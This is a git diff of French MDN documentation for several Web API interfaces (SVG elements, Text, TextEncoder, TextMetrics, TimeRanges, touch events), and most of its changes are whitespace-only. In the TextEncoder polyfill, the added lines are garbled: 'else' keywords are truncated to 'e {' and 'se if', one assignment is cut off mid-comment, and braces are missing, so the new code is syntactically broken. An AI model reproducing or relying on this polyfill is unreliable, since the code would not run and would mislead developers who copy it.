{{DOMxRef("SubtleCrypto.unwrapKey","unwrapKey()")}}, which decrypts then imports the key. #### Storing keys diff --git a/files/fr/web/api/svgelement/index.md b/files/fr/web/api/svgelement/index.md index d83db2e9b8..b265788bbb 100644 --- a/files/fr/web/api/svgelement/index.md +++ b/files/fr/web/api/svgelement/index.md @@ -7,7 +7,7 @@ translation_of: Web/API/SVGElement --- ## Interface d'élément SVG -Toutes les interfaces SVG DOM qui correspondent directement à des éléments du langage SVG dérivent de l'interface `SVGElement`. +Toutes les interfaces SVG DOM qui correspondent directement à des éléments du langage SVG dérivent de l'interface `SVGElement`. ### Vue d'ensemble de l'interface @@ -41,7 +41,7 @@ Toutes les interfaces SVG DOM qui correspondent directement à des éléments du </td> </tr> <tr> - <th scope="row">Normative document</th> + <th scope="row">Normative document</th> <td> <a href="http://www.w3.org/TR/SVG11/types.html#InterfaceSVGElement" >SVG 1.1 (2nd Edition)</a @@ -83,7 +83,7 @@ Toutes les interfaces SVG DOM qui correspondent directement à des éléments du <td> <p> L'élément {{ SVGElement("svg") }} parent le plus près. - <code>Null</code> si l'élément est l'élément svg le plus à + <code>Null</code> si l'élément est l'élément svg le plus à l'extérieur. </p> </td> @@ -94,7 +94,7 @@ Toutes les interfaces SVG DOM qui correspondent directement à des éléments du <td> <p> L'élément qui a établi la fenêtre actuelle. Souvent l'élément parent - {{ SVGElement("svg") }} le plus prêt. <code>Null</code> si + {{ SVGElement("svg") }} le plus prêt. <code>Null</code> si l'élément est l'élément svg le plus à l'extérieur. </p> </td> @@ -104,7 +104,7 @@ Toutes les interfaces SVG DOM qui correspondent directement à des éléments du ## Méthodes -L'interface `SVGElement` ne possède aucune méthode spécifique. +L'interface `SVGElement` ne possède aucune méthode spécifique. ## Compatibilité des navigateurs diff --git a/files/fr/web/api/svgmatrix/index.md b/files/fr/web/api/svgmatrix/index.md index a90c8251a9..1919f02d01 100644 --- a/files/fr/web/api/svgmatrix/index.md +++ b/files/fr/web/api/svgmatrix/index.md @@ -225,7 +225,7 @@ Une {{ domxref("DOMException") }} avec le code `NO_MODIFICATION_ALLOWED_ERR` est <p> Effectue une rotation sur la matrice courante et retourne la matrice résultante. L'angle de rotation est déterminé en prenant (+/-) - atan(y/x). La direction du vecteur (x, y) détermine si la valeur + atan(y/x). La direction du vecteur (x, y) détermine si la valeur négative ou positive de l'angle est utilisée. </p> <p><strong>Exceptions :</strong></p> @@ -245,7 +245,7 @@ Une {{ domxref("DOMException") }} avec le code `NO_MODIFICATION_ALLOWED_ERR` est <td>{{ domxref("SVGMatrix") }}</td> <td> <div> - Effectue une transformation [-1 0 0 1 0 0] et retourne la matrice + Effectue une transformation [-1 0 0 1 0 0] et retourne la matrice résultante. </div> </td> @@ -257,7 +257,7 @@ Une {{ domxref("DOMException") }} avec le code `NO_MODIFICATION_ALLOWED_ERR` est <td>{{ domxref("SVGMatrix") }}</td> <td> <div> - Effectue une transformation [1 0 0 -1 0 0] et retourne la matrice + Effectue une transformation [1 0 0 -1 0 0] et retourne la matrice résultante. </div> </td> diff --git a/files/fr/web/api/svgrectelement/index.md b/files/fr/web/api/svgrectelement/index.md index 4acf6db261..6c6c24bf22 100644 --- a/files/fr/web/api/svgrectelement/index.md +++ b/files/fr/web/api/svgrectelement/index.md @@ -15,17 +15,17 @@ _Cette interface hérite aussi des propriétés de_ _{{domxref("SVGGeometryEleme - {{domxref("SVGRectElement.x")}} {{ReadOnlyInline}} - : Retourne un {{domxref("SVGAnimatedLength")}} correspondant à l'attribut {{SVGAttr("x")}} de l'élément {{SVGElement("rect")}} donné. -- {{domxref("SVGRectElement.x")}} {{ReadOnlyInline}} - - : Retourne un {{domxref("SVGAnimatedLength")}} correspondant à l'attribut {{SVGAttr("x")}} de l'élément {{SVGElement("rect")}} donné. -- {{domxref("SVGRectElement.y")}} {{ReadOnlyInline}} +- {{domxref("SVGRectElement.x")}} {{ReadOnlyInline}} + - : Retourne un {{domxref("SVGAnimatedLength")}} correspondant à l'attribut {{SVGAttr("x")}} de l'élément {{SVGElement("rect")}} donné. +- {{domxref("SVGRectElement.y")}} {{ReadOnlyInline}} - : Retourne un {{domxref("SVGAnimatedLength")}} correspondant à l'attribut {{SVGAttr("y")}} de l'élément {{SVGElement("rect")}} donné. -- {{domxref("SVGRectElement.width")}} {{ReadOnlyInline}} +- {{domxref("SVGRectElement.width")}} {{ReadOnlyInline}} - : Retourne un {{domxref("SVGAnimatedLength")}} correspondant à l'attribut {{SVGAttr("width")}} de l'élément {{SVGElement("rect")}} donné. -- {{domxref("SVGRectElement.height")}} {{ReadOnlyInline}} +- {{domxref("SVGRectElement.height")}} {{ReadOnlyInline}} - : Retourne un {{domxref("SVGAnimatedLength")}} correspondant à l'attribut {{SVGAttr("height")}} de l'élément {{SVGElement("rect")}} donné. -- {{domxref("SVGRectElement.rx")}} {{ReadOnlyInline}} +- {{domxref("SVGRectElement.rx")}} {{ReadOnlyInline}} - : Retourne un {{domxref("SVGAnimatedLength")}} correspondant à l'attribut {{SVGAttr("rx")}} de l'élément {{SVGElement("rect")}} donné. -- {{domxref("SVGRectElement.ry")}} {{ReadOnlyInline}} +- {{domxref("SVGRectElement.ry")}} {{ReadOnlyInline}} - : Retourne un {{domxref("SVGAnimatedLength")}} correspondant à l'attribut {{SVGAttr("ry")}} de l'élément {{SVGElement("rect")}} donné. ## Méthode diff --git a/files/fr/web/api/svgtitleelement/index.md b/files/fr/web/api/svgtitleelement/index.md index 1f3ac78830..5541b72901 100644 --- a/files/fr/web/api/svgtitleelement/index.md +++ b/files/fr/web/api/svgtitleelement/index.md @@ -12,7 +12,7 @@ translation_of: Web/API/SVGTitleElement ## Interface DOM de l'élément SVG `title` -L'interface `SVGTitleElement` correspond à l'élément {{ SVGElement("title") }}. +L'interface `SVGTitleElement` correspond à l'élément {{ SVGElement("title") }}. ### Aperçu de l'interface @@ -48,7 +48,7 @@ L'interface `SVGTitleElement` correspond à l'élément {{ SVGElement("title ## Propriétés -L'interface `SVGTitleElement` n'a pas de propriétés spécifiques. +L'interface `SVGTitleElement` n'a pas de propriétés spécifiques. ## Méthodes diff --git a/files/fr/web/api/syncmanager/index.md b/files/fr/web/api/syncmanager/index.md index 2bb4d1de86..004fbdbdd1 100644 --- a/files/fr/web/api/syncmanager/index.md +++ b/files/fr/web/api/syncmanager/index.md @@ -14,9 +14,9 @@ None. ## Methods - {{domxref("SyncManager.register")}} - - : Créé une nouvelle sync registration et retourne une {{jsxref("Promise")}} + - : Créé une nouvelle sync registration et retourne une {{jsxref("Promise")}} - {{domxref("SyncManager.getTags")}} - - : Renvoie une liste d'identifiants définis par le développeur pour l'enregistrement du SyncManager. + - : Renvoie une liste d'identifiants définis par le développeur pour l'enregistrement du SyncManager. ## Specifications diff --git a/files/fr/web/api/text/index.md b/files/fr/web/api/text/index.md index d12428b709..84891f45bf 100644 --- a/files/fr/web/api/text/index.md +++ b/files/fr/web/api/text/index.md @@ -8,9 +8,9 @@ translation_of: Web/API/Text --- {{ApiRef("DOM")}} -L'interface **`Text`** représente le contenu textuel d'un élément {{domxref("Element")}} ou d'un attribut {{domxref("Attr")}}. Si un élément n'a pas de balisage dans son contenu, il a un seul enfant implémentant `Text` qui contient le texte de l'élément. Par contre, si l'élément contient un balisage, il est analysé par les éléments d'information et les noeuds `Text` qui sont ses enfants. +L'interface **`Text`** représente le contenu textuel d'un élément {{domxref("Element")}} ou d'un attribut {{domxref("Attr")}}. Si un élément n'a pas de balisage dans son contenu, il a un seul enfant implémentant `Text` qui contient le texte de l'élément. Par contre, si l'élément contient un balisage, il est analysé par les éléments d'information et les noeuds `Text` qui sont ses enfants. -Un nouveau document a un unique noeud `Text` pour chaque bloc de texte. Au fil du temps, d'autres noeuds peuvent être créés `Text` en temps que modification du contenu du document. La méthode {{domxref("Node.normalize()")}} fusionne les objets `Text` dans un seul noeud pour chaque bloc de texte. +Un nouveau document a un unique noeud `Text` pour chaque bloc de texte. Au fil du temps, d'autres noeuds peuvent être créés `Text` en temps que modification du contenu du document. La méthode {{domxref("Node.normalize()")}} fusionne les objets `Text` dans un seul noeud pour chaque bloc de texte. {{InheritanceDiagram}} @@ -28,7 +28,7 @@ _Hérite des propriétés de son parent {{domxref("CharacterData")}}._ - {{domxref("Text.wholeText")}} {{readonlyInline}} - : Renvoie une {{domxref("DOMString")}} (_chaîne de caractères_) contenant le texte de tous les noeuds `Text` adjacents logiquement à ce {{domxref("Node")}}, concaténé dans l'ordre du document. - {{domxref("Text.assignedSlot")}} {{readonlyinline}} - - : Retourne l'objet {{domxref("HTMLSlotElement")}} associé à l'élément. + - : Retourne l'objet {{domxref("HTMLSlotElement")}} associé à l'élément. ## Méthodes diff --git a/files/fr/web/api/text/splittext/index.md b/files/fr/web/api/text/splittext/index.md index 079275794c..fa55a42f87 100644 --- a/files/fr/web/api/text/splittext/index.md +++ b/files/fr/web/api/text/splittext/index.md @@ -11,7 +11,7 @@ Après la séparation, le nœud actuel contient tout le texte jusqu’à l’ind Des nœuds texte séparés peuvent être concaténés en utilisant la méthode {{domxref("Node.normalize()")}}. -Une {{domxref("DOMException")}} avec la valeur `INDEX_SIZE_ERR` est levée si l’indice spécifié est négatif ou est supérieur au nombre d’unités 16-bit dans le texte du nœud ; une {{domxref("DOMException")}} avec la valeur `NO_MODIFICATION_ALLOWED_ERR` est levée si le nœud est en lecture seule. +Une {{domxref("DOMException")}} avec la valeur `INDEX_SIZE_ERR` est levée si l’indice spécifié est négatif ou est supérieur au nombre d’unités 16-bit dans le texte du nœud ; une {{domxref("DOMException")}} avec la valeur `NO_MODIFICATION_ALLOWED_ERR` est levée si le nœud est en lecture seule. ## Syntaxe @@ -60,4 +60,4 @@ Dans cet exemple, le nœud texte d’un {{HTMLElement("p")}} est séparé en deu ## Voir aussi - L’interface {{domxref("Text")}} à laquelle cette méthode appartient. -- La méthode opposée : {{domxref("Node.normalize")}}. +- La méthode opposée : {{domxref("Node.normalize")}}. diff --git a/files/fr/web/api/textencoder/index.md b/files/fr/web/api/textencoder/index.md index 6c9c867c62..c7cc289cd8 100644 --- a/files/fr/web/api/textencoder/index.md +++ b/files/fr/web/api/textencoder/index.md @@ -14,7 +14,7 @@ translation_of: Web/API/TextEncoder **`TextEncoder`** prend un flux de points de code en entrée et émet un flux d'octets. Pour une bibliothèque non native plus extensible, voir [`StringView` – une représentation des chaînes de caractères proche de celle de C basée sur les tableaux typés](/en-US/Add-ons/Code_snippets/StringView). -> **Note :** Firefox, Chrome et Opera ont pour habitude de supporter les types d'encodage autres que `utf-8` (tels que `utf-16`, `iso-8859-2`, `koi8`, `cp1261`, et `gbk`). À partir de Firefox 48 ({{bug(1257877)}}), Chrome 54 ([ticket](https://www.chromestatus.com/feature/5630760492990464)) et Opera 41, aucun type d'encodage autre que `utf-8` n'est disponible, de manière à être en accord avec la [spécification](https://www.w3.org/TR/encoding/#dom-textencoder). Dans tous les cas, passer un type d'encodage au constructeur sera ignoré et un TextEncoder utf-8 sera créé (le {{DOMxRef("TextDecoder")}} permet toujours d'autres types pour le décodage). +> **Note :** Firefox, Chrome et Opera ont pour habitude de supporter les types d'encodage autres que `utf-8` (tels que `utf-16`, `iso-8859-2`, `koi8`, `cp1261`, et `gbk`). À partir de Firefox 48 ({{bug(1257877)}}), Chrome 54 ([ticket](https://www.chromestatus.com/feature/5630760492990464)) et Opera 41, aucun type d'encodage autre que `utf-8` n'est disponible, de manière à être en accord avec la [spécification](https://www.w3.org/TR/encoding/#dom-textencoder). Dans tous les cas, passer un type d'encodage au constructeur sera ignoré et un TextEncoder utf-8 sera créé (le {{DOMxRef("TextDecoder")}} permet toujours d'autres types pour le décodage). > **Note :** Il y a une prothèse d'émulation d'implantation pour supporter tous les encodages hérités dans [GitHub](https://github.com/inexorabletash/text-encoding). @@ -39,66 +39,66 @@ _L'interface `TextEncoder` n'hérite d'aucune propriété._ ## Prothèse d'émulation -La prothèse d'émulation ci-dessous va uniquement répondre aux spécifications données par le W3 (par d'autre type d'encodage que UTF-8 n'est supporté, malheureusement ☹️). Elle est conçue pour fonctionner "clé en main" avec IE5. Toutefois, de IE5 à IE9, elle retournera un tableau normal plutôt qu'un tableau typé. Dans de telles circonstances et avec des navigateurs si lents, cette prothèse (ou tout autre ayant le même objectif) serait inutilisable pour de longues chaînes de caractères avec ces vieux navigateurs. Enfin, notez que vous devriez exécuter le code ci-dessous avec un minifieur (et plus particulièrement un compilateur ) to turn sequences like `0x1e << 3` into `0xf0`. These sequences are not already precomputed because they serve to aesthetically illustrate how the polyfill works. +La prothèse d'émulation ci-dessous va uniquement répondre aux spécifications données par le W3 (par d'autre type d'encodage que UTF-8 n'est supporté, malheureusement ☹). Elle est conçue pour fonctionner "clé en main" avec IE5. Toutefois, de IE5 à IE9, elle retournera un tableau normal plutôt qu'un tableau typé. Dans de telles circonstances et avec des navigateurs si lents, cette prothèse (ou tout autre ayant le même objectif) serait inutilisable pour de longues chaînes de caractères avec ces vieux navigateurs. Enfin, notez que vous devriez exécuter le code ci-dessous avec un minifieur (et plus particulièrement un compilateur ) to turn sequences like `0x1e << 3` into `0xf0`. These sequences are not already precomputed because they serve to aesthetically illustrate how the polyfill works. ```js if (typeof TextEncoder === "undefined") { - TextEncoder=function TextEncoder(){}; - TextEncoder.prototype.encode = function encode(str) { - "use strict"; - var Len = str.length, resPos = -1; - // The Uint8Array's length must be at least 3x the length of the string because an invalid UTF-16 - // takes up the equivelent space of 3 UTF-8 characters to encode it properly. However, Array's - // have an auto expanding length and 1.5x should be just the right balance for most uses. - var resArr = typeof Uint8Array === "undefined" ? new Array(Len * 1.5) : new Uint8Array(Len * 3); - for (var point=0, nextcode=0, i = 0; i !== Len; ) { - point = str.charCodeAt(i), i += 1; - if (point >= 0xD800 && point <= 0xDBFF) { - if (i === Len) { - resArr[resPos += 1] = 0xef/*0b11101111*/; resArr[resPos += 1] = 0xbf/*0b10111111*/; - resArr[resPos += 1] = 0xbd/*0b10111101*/; break; - } - // https://mathiasbynens.be/notes/javascript-encoding#surrogate-formulae - nextcode = str.charCodeAt(i); - if (nextcode >= 0xDC00 && nextcode <= 0xDFFF) { - point = (point - 0xD800) * 0x400 + nextcode - 0xDC00 + 0x10000; - i += 1; - if (point > 0xffff) { - resArr[resPos += 1] = (0x1e/*0b11110*/<<3) | (point>>>18); - resArr[resPos += 1] = (0x2/*0b10*/<<6) | ((point>>>12)&0x3f/*0b00111111*/); - resArr[resPos += 1] = (0x2/*0b10*/<<6) | ((point>>>6)&0x3f/*0b00111111*/); - resArr[resPos += 1] = (0x2/*0b10*/<<6) | (point&0x3f/*0b00111111*/); - continue; - } - } else { - resArr[resPos += 1] = 0xef/*0b11101111*/; resArr[resPos += 1] = 0xbf/*0b10111111*/; - resArr[resPos += 1] = 0xbd/*0b10111101*/; continue; - } - } - if (point <= 0x007f) { - resArr[resPos += 1] = (0x0/*0b0*/<<7) | point; - } else if (point <= 0x07ff) { - resArr[resPos += 1] = (0x6/*0b110*/<<5) | (point>>>6); - resArr[resPos += 1] = (0x2/*0b10*/<<6) | (point&0x3f/*0b00111111*/); - } else { - resArr[resPos += 1] = (0xe/*0b1110*/<<4) | (point>>>12); - resArr[resPos += 1] = (0x2/*0b10*/<<6) | ((point>>>6)&0x3f/*0b00111111*/); - resArr[resPos += 1] = (0x2/*0b10*/<<6) | (point&0x3f/*0b00111111*/); - } - } - if (typeof Uint8Array !== "undefined") return resArr.subarray(0, resPos + 1); - // else // IE 6-9 - resArr.length = resPos + 1; // trim off extra weight - return resArr; - }; - TextEncoder.prototype.toString = function(){return "[object TextEncoder]"}; - try { // Object.defineProperty only works on DOM prototypes in IE8 - Object.defineProperty(TextEncoder.prototype,"encoding",{ - get:function(){if(TextEncoder.prototype.isPrototypeOf(this)) return"utf-8"; + TextEncoder=function TextEncoder(){}; + TextEncoder.prototype.encode = function encode(str) { + "use strict"; + var Len = str.length, resPos = -1; + // The Uint8Array's length must be at least 3x the length of the string because an invalid UTF-16 + // takes up the equivelent space of 3 UTF-8 characters to encode it properly. However, Array's + // have an auto expanding length and 1.5x should be just the right balance for most uses. + var resArr = typeof Uint8Array === "undefined" ? new Array(Len * 1.5) : new Uint8Array(Len * 3); + for (var point=0, nextcode=0, i = 0; i !== Len; ) { + point = str.charCodeAt(i), i += 1; + if (point >= 0xD800 && point <= 0xDBFF) { + if (i === Len) { + resArr[resPos += 1] = 0xef/*0b11101111*/; resArr[resPos += 1] = 0xbf/*0b10111111*/; + resArr[resPos += 1] = 0xbd/*0b10111101*/; break; + } + // https://mathiasbynens.be/notes/javascript-encoding#surrogate-formulae + nextcode = str.charCodeAt(i); + if (nextcode >= 0xDC00 && nextcode <= 0xDFFF) { + point = (point - 0xD800) * 0x400 + nextcode - 0xDC00 + 0x10000; + i += 1; + if (point > 0xffff) { + resArr[resPos += 1] = (0x1e/*0b11110*/<<3) | (point>>>18); + resArr[resPos += 1] = (0x2/*0b10*/<<6) | ((point>>>12)&0x3f/*0b00111111*/); + resArr[resPos += 1] = (0x2/*0b10*/<<6) | ((point>>>6)&0x3f/*0b00111111*/); + resArr[resPos += 1] = (0x2/*0b10*/<<6) | (point&0x3f/*0b00111111*/); + continue; + } + e { + resArr[resPos += 1] = 0xef/*0b11101111*/; resArr[resPos += 1] = 0xbf/*0b10111111*/; + resArr[resPos += 1] = 0xbd/*0b10111101*/; continue; + } + } + if (point <= 0x007f) { + resArr[resPos += 1] = (0x0/*0b0*/<<7) | point; + se if (point <= 0x07ff) { + resArr[resPos += 1] = (0x6/*0b110*/<<5) | (point>>>6); + esArr[resPos += 1] = (0x2/*0b10*/<<6) | (point&0x3f/*0 + else { + resArr[resPos += 1] = (0xe/*0b1110*/<<4) | (point>>>12); + resArr[resPos += 1] = (0x2/*0b10*/<<6) | ((point>>>6)&0x3f/*0b00111111*/); + resArr[resPos += 1] = (0x2/*0b10*/<<6) | (point&0x3f/*0b00111111*/); + } + } + if (typeof Uint8Array !== "undefined") return resArr.subarray(0, resPos + 1); + // else // IE 6-9 + resArr.length = resPos + 1; // trim off extra weight + return resArr; + }; + TextEncoder.prototype.toString = function(){return "[object TextEncoder]"}; + try { // Object.defineProperty only works on DOM prototypes in IE8 + Object.defineProperty(TextEncoder.prototype,"encoding",{ + get:function(){if(TextEncoder.prototype.isPrototypeOf(this)) return"utf-8"; else throw TypeError("Illegal invocation");} - }); - } catch(e) { /*IE6-8 fallback*/ TextEncoder.prototype.encoding = "utf-8"; } - if(typeof Symbol!=="undefined")TextEncoder.prototype[Symbol.toStringTag]="TextEncoder"; + }); + } catch(e) { /*IE6-8 fallback*/ TextEncoder.prototype.encoding = "utf-8"; } + if(typeof Symbol!=="undefined")TextEncoder.prototype[Symbol.toStringTag]="TextEncoder"; } ``` diff --git a/files/fr/web/api/textencoder/textencoder/index.md b/files/fr/web/api/textencoder/textencoder/index.md index b68625b0ff..2cb8bc1577 100644 --- a/files/fr/web/api/textencoder/textencoder/index.md +++ b/files/fr/web/api/textencoder/textencoder/index.md @@ -5,7 +5,7 @@ translation_of: Web/API/TextEncoder/TextEncoder --- {{APIRef("Encoding API")}} -Le constructeur **`TextEncoder()`** retourne un nouvel objet {{DOMxRef("TextEncoder")}} utf-8. +Le constructeur **`TextEncoder()`** retourne un nouvel objet {{DOMxRef("TextEncoder")}} utf-8. ## Syntaxe diff --git a/files/fr/web/api/textmetrics/index.md b/files/fr/web/api/textmetrics/index.md index 218af5eb3c..f0e977fb64 100644 --- a/files/fr/web/api/textmetrics/index.md +++ b/files/fr/web/api/textmetrics/index.md @@ -15,29 +15,29 @@ L'interface **TextMetrics** représente la dimension d'un texte dans le canevas, ## Propriétés - {{domxref("TextMetrics.width")}} {{readonlyInline}} - - : est un `double` donnant la largeur calculée en pixels CSS d'un segment de texte en ligne. Il prend en compte la police en cours du contexte. + - : est un `double` donnant la largeur calculée en pixels CSS d'un segment de texte en ligne. Il prend en compte la police en cours du contexte. - {{domxref("TextMetrics.actualBoundingBoxLeft")}} {{readonlyInline}} - - : est un `double` donnant la distance en pixels CSS parallèlement à la ligne de base entre le point d'alignement donné par la propriété {{domxref ("CanvasRenderingContext2D.textAlign")}}, et le côté gauche du rectangle délimitant du texte donné. + - : est un `double` donnant la distance en pixels CSS parallèlement à la ligne de base entre le point d'alignement donné par la propriété {{domxref ("CanvasRenderingContext2D.textAlign")}}, et le côté gauche du rectangle délimitant du texte donné. - {{domxref("TextMetrics.actualBoundingBoxRight")}} {{readonlyInline}} - - : est un `double` donnant la distance en pixels CSS parallèlement à la ligne de base entre le point d'alignement donné par la propriété {{domxref ("CanvasRenderingContext2D.textAlign")}}, et le côté droit du rectangle délimitant du texte donné. + - : est un `double` donnant la distance en pixels CSS parallèlement à la ligne de base entre le point d'alignement donné par la propriété {{domxref ("CanvasRenderingContext2D.textAlign")}}, et le côté droit du rectangle délimitant du texte donné. - {{domxref("TextMetrics.fontBoundingBoxAscent")}} {{readonlyInline}} - - : est un `double` donnant la distance en pixels CSS entre la ligne horizontale indiquée par l'attribut {{domxref ("CanvasRenderingContext2D.textBaseline")}}, et le haut du rectangle de délimitation le plus élevé de toutes les polices utilisées pour restituer le texte. + - : est un `double` donnant la distance en pixels CSS entre la ligne horizontale indiquée par l'attribut {{domxref ("CanvasRenderingContext2D.textBaseline")}}, et le haut du rectangle de délimitation le plus élevé de toutes les polices utilisées pour restituer le texte. - {{domxref("TextMetrics.fontBoundingBoxDescent")}} {{readonlyInline}} - - : est un `double` donnant la distance en pixels CSS entre la ligne horizontale indiquée par l'attribut {{domxref ("CanvasRenderingContext2D.textBaseline")}}, et le bas du rectangle délimitant de toutes les polices utilisées pour restituer le texte. + - : est un `double` donnant la distance en pixels CSS entre la ligne horizontale indiquée par l'attribut {{domxref ("CanvasRenderingContext2D.textBaseline")}}, et le bas du rectangle délimitant de toutes les polices utilisées pour restituer le texte. - {{domxref("TextMetrics.actualBoundingBoxAscent")}} {{readonlyInline}} - - : est un `double` donnant la distance en pixels CSS entre la ligne horizontale indiquée par l'attribut {{domxref ("CanvasRenderingContext2D.textBaseline")}}, et le haut du rectangle de délimitation utilisé pour restituer le texte. + - : est un `double` donnant la distance en pixels CSS entre la ligne horizontale indiquée par l'attribut {{domxref ("CanvasRenderingContext2D.textBaseline")}}, et le haut du rectangle de délimitation utilisé pour restituer le texte. - {{domxref("TextMetrics.actualBoundingBoxDescent")}} {{readonlyInline}} - - : est un `double` donnant la distance en pixels CSS entre la ligne horizontale indiquée par l'attribut {{domxref ("CanvasRenderingContext2D.textBaseline")}}, et le bas du rectangle de délimitation utilisé pour restituer le texte. + - : est un `double` donnant la distance en pixels CSS entre la ligne horizontale indiquée par l'attribut {{domxref ("CanvasRenderingContext2D.textBaseline")}}, et le bas du rectangle de délimitation utilisé pour restituer le texte. - {{domxref("TextMetrics.emHeightAscent")}} {{readonlyInline}} - - : est un `double` donnant la distance en pixels CSS entre la ligne horizontale indiquée par la propriété {{domxref ("CanvasRenderingContext2D.textBaseline")}}, et le haut du carré _em_ dans la boîte de ligne. + - : est un `double` donnant la distance en pixels CSS entre la ligne horizontale indiquée par la propriété {{domxref ("CanvasRenderingContext2D.textBaseline")}}, et le haut du carré _em_ dans la boîte de ligne. - {{domxref("TextMetrics.emHeightDescent")}} {{readonlyInline}} - - : est un `double` donnant la distance en pixels CSS entre la ligne horizontale indiquée par la propriété {{domxref ("CanvasRenderingContext2D.textBaseline")}}, et le bas du carré _em_ dans la boîte de ligne. + - : est un `double` donnant la distance en pixels CSS entre la ligne horizontale indiquée par la propriété {{domxref ("CanvasRenderingContext2D.textBaseline")}}, et le bas du carré _em_ dans la boîte de ligne. - {{domxref("TextMetrics.hangingBaseline")}} {{readonlyInline}} - - : est un `double` donnant la distance en pixels CSS entre la ligne horizontale indiquée par la propriété {{domxref ("CanvasRenderingContext2D.textBaseline")}}, et la ligne de base supérieure de la boîte de ligne. + - : est un `double` donnant la distance en pixels CSS entre la ligne horizontale indiquée par la propriété {{domxref ("CanvasRenderingContext2D.textBaseline")}}, et la ligne de base supérieure de la boîte de ligne. - {{domxref("TextMetrics.alphabeticBaseline")}} {{readonlyInline}} - - : est un `double` donnant la distance en pixels CSS entre la ligne horizontale indiquée par la propriété {{domxref ("CanvasRenderingContext2D.textBaseline")}}, et la ligne de base alphabétique de la boîte de ligne. + - : est un `double` donnant la distance en pixels CSS entre la ligne horizontale indiquée par la propriété {{domxref ("CanvasRenderingContext2D.textBaseline")}}, et la ligne de base alphabétique de la boîte de ligne. - {{domxref("TextMetrics.ideographicBaseline")}} {{readonlyInline}} - - : est un `double` donnant la distance en pixels CSS entre la ligne horizontale indiquée par la propriété {{domxref ("CanvasRenderingContext2D.textBaseline")}}, et la ligne de base idéographique de la boîte de ligne. + - : est un `double` donnant la distance en pixels CSS entre la ligne horizontale indiquée par la propriété {{domxref ("CanvasRenderingContext2D.textBaseline")}}, et la ligne de base idéographique de la boîte de ligne. ## Spécifications @@ -51,5 +51,5 @@ L'interface **TextMetrics** représente la dimension d'un texte dans le canevas, ## Voir aussi -- La méthode de création dans {{domxref("CanvasRenderingContext2D")}}. -- L'élément {{HTMLElement("canvas")}} et son interface associée, {{domxref("HTMLCanvasElement")}} +- La méthode de création dans {{domxref("CanvasRenderingContext2D")}}. +- L'élément {{HTMLElement("canvas")}} et son interface associée, {{domxref("HTMLCanvasElement")}} diff --git a/files/fr/web/api/textmetrics/width/index.md b/files/fr/web/api/textmetrics/width/index.md index 4ee47b6d47..72c26cdc69 100644 --- a/files/fr/web/api/textmetrics/width/index.md +++ b/files/fr/web/api/textmetrics/width/index.md @@ -25,7 +25,7 @@ La propriété en lecture seule **TextMetrics.width** contient en pixels CSS la <canvas id="canevas"></canvas> ``` -vous pouvez obtenir un objet {{domxref("TextMetrics")}} en utilisant le code suivant : +vous pouvez obtenir un objet {{domxref("TextMetrics")}} en utilisant le code suivant : ```js var canvas = document.getElementById("canevas"); @@ -39,7 +39,7 @@ texte.width; // 16; | Spécification | Statut | Commentaire | | -------------------------------------------------------------------------------------------------------------------- | -------------------------------- | ----------- | -| {{SpecName('HTML WHATWG', "scripting.html#dom-textmetrics-width", "TextMetrics.width")}} | {{Spec2('HTML WHATWG')}} | | +| {{SpecName('HTML WHATWG', "scripting.html#dom-textmetrics-width", "TextMetrics.width")}} | {{Spec2('HTML WHATWG')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/timeranges/index.md b/files/fr/web/api/timeranges/index.md index 24e46891d4..17616679e1 100644 --- a/files/fr/web/api/timeranges/index.md +++ b/files/fr/web/api/timeranges/index.md @@ -17,11 +17,11 @@ translation_of: Web/API/TimeRanges {{ gecko_minversion_header("2.0") }} -L'interface TimeRanges est utilisée pour représenter un ensemble de plages de temps, principalement dans le but de savoir quelles portions du média ont été mises en mémoire tampon lors du chargement avec les éléments {{ HTMLElement("audio") }} et {{ HTMLElement("video") }}. +L'interface TimeRanges est utilisée pour représenter un ensemble de plages de temps, principalement dans le but de savoir quelles portions du média ont été mises en mémoire tampon lors du chargement avec les éléments {{ HTMLElement("audio") }} et {{ HTMLElement("video") }}. -Un objet TimeRanges comprend une ou plusieurs plages de temps, chacune définie par une position de début et de fin. On récupère ces valeurs en utilisant les méthodes start() et end(), en passant en paramètre l'index de la plage de temps que l'on souhaite récupérer. +Un objet TimeRanges comprend une ou plusieurs plages de temps, chacune définie par une position de début et de fin. On récupère ces valeurs en utilisant les méthodes start() et end(), en passant en paramètre l'index de la plage de temps que l'on souhaite récupérer. -Le terme "[normalized TimeRanges object](http://www.w3.org/TR/html5/the-iframe-element.html#normalized-timeranges-object)" (objet TimeRanges normalisé) indique que les plages dans un tel objet sont ordonnées, ne se chevauchent pas, ne sont pas vides, et ne se touchent pas (les plages adjacentes sont encapsulées dans une plage plus grande). +Le terme "[normalized TimeRanges object](http://www.w3.org/TR/html5/the-iframe-element.html#normalized-timeranges-object)" (objet TimeRanges normalisé) indique que les plages dans un tel objet sont ordonnées, ne se chevauchent pas, ne sont pas vides, et ne se touchent pas (les plages adjacentes sont encapsulées dans une plage plus grande). ### Propriétés @@ -39,7 +39,7 @@ Le terme "[normalized TimeRanges object](http://www.w3.org/TR/html5/the-iframe- </td> <td> <p> - Le nombre de plages de temps contenues dans l'objet TimeRanges. + Le nombre de plages de temps contenues dans l'objet TimeRanges. <strong>Lecture seule</strong>. </p> </td> @@ -54,7 +54,7 @@ Le terme "[normalized TimeRanges object](http://www.w3.org/TR/html5/the-iframe- - {{ domxref("TimeRanges.start") }} - : Retourne la position de début de la plage de temps. En paramètre, l'index de la plage de temps souhaitée. - {{ domxref("TimeRanges.end") }} - - : Retourne la position de fin de la plage de temps. En paramètre, l'index de la plage de temps souhaitée. + - : Retourne la position de fin de la plage de temps. En paramètre, l'index de la plage de temps souhaitée. ### Spécification diff --git a/files/fr/web/api/touch_events/index.md b/files/fr/web/api/touch_events/index.md index 5fcaf9e3f0..92ed60cc86 100644 --- a/files/fr/web/api/touch_events/index.md +++ b/files/fr/web/api/touch_events/index.md @@ -27,7 +27,7 @@ Afin de fournir un support de qualité pour les interfaces tactiles, les événe - {{ domxref("TouchList") }} - : Représente un groupe de plusieurs interactions tactiles. Cela peut par exemple être le cas quand l'utilisateur utilise plusieurs doigts pour toucher simultanément la même surface. - {{ domxref("DocumentTouch") }} - - : Contient des méthodes permettant de créer les objets {{ domxref("Touch") }} et {{ domxref("TouchList") }}. + - : Contient des méthodes permettant de créer les objets {{ domxref("Touch") }} et {{ domxref("TouchList") }}. ## Exemple @@ -198,7 +198,7 @@ Cette section fournit quelques astuces supplémentaires pour gérer les événem ### Gérer les clics -Étant donné que l'appel de la méthode `preventDefault()` sur l'événement `touchstart` ou le premier événement 